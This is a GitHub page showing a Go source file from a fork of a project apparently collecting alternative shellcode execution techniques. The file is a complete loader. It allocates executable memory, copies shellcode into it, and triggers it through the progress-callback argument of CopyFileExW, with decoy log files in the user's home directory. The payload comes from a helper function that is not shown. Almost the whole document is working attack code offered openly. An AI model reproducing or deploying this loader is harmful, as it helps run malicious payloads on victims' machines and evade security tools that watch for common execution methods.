forked from xiecat/AlternativeShellcodeExec-Go
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathCopyFileEx.go
More file actions
91 lines (75 loc) · 2.23 KB
/
Copy pathCopyFileEx.go
File metadata and controls
91 lines (75 loc) · 2.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package main
import (
"AlternativeShellcodeExec/pkg/util"
"fmt"
"os"
"path/filepath"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40
COPY_FILE_FAIL_IF_EXISTS = 0x1
)
func createFileIfNotExist(filepath string) error {
_, err := os.Stat(filepath)
if os.IsNotExist(err) {
file, err := os.Create(filepath)
if err != nil {
return err
}
file.Close()
}
return nil
}
func Run(op []byte) {
homeDir, err := os.UserHomeDir()
if err != nil {
fmt.Printf("Error: failed to get user home directory, %v\n", err)
return
}
srcPathStr := filepath.Join(homeDir, "DirectX.log")
destPathStr := filepath.Join(homeDir, "backup.log")
err = createFileIfNotExist(srcPathStr)
if err != nil {
fmt.Printf("Error: failed to create file %s, %v\n", srcPathStr, err)
return
}
err = createFileIfNotExist(destPathStr)
if err != nil {
fmt.Printf("Error: failed to create file %s, %v\n", destPathStr, err)
return
}
kernel32 := syscall.MustLoadDLL("kernel32.dll")
virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
rtlcMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
copyFileExW := kernel32.MustFindProc("CopyFileExW")
deleteFileW := kernel32.MustFindProc("DeleteFileW")
addr, _, err := virtualAlloc.Call(0, uintptr(len(op)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if addr == 0 {
fmt.Printf("Error: VirtualAlloc failed with error code %d\n", err)
return
}
_, _, err = rtlcMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&op[0])), uintptr(len(op)))
if err != syscall.Errno(0) {
fmt.Printf("Error: RtlMoveMemory failed with error code %d\n", err)
return
}
srcPath, _ := syscall.UTF16PtrFromString(srcPathStr)
destPath, _ := syscall.UTF16PtrFromString(destPathStr)
_, _, err = deleteFileW.Call(uintptr(unsafe.Pointer(destPath)))
if err != syscall.Errno(0) && err != syscall.ERROR_FILE_NOT_FOUND {
fmt.Printf("Error: DeleteFileW failed with error code %d\n", err)
return
}
_, _, err = copyFileExW.Call(uintptr(unsafe.Pointer(srcPath)), uintptr(unsafe.Pointer(destPath)), addr, 0, 0, COPY_FILE_FAIL_IF_EXISTS)
if err != syscall.Errno(0) {
fmt.Printf("Error: CopyFileExW failed with error code %d\n", err)
return
}
fmt.Println("Done.")
}
func main() {
Run(util.ShellCode())
}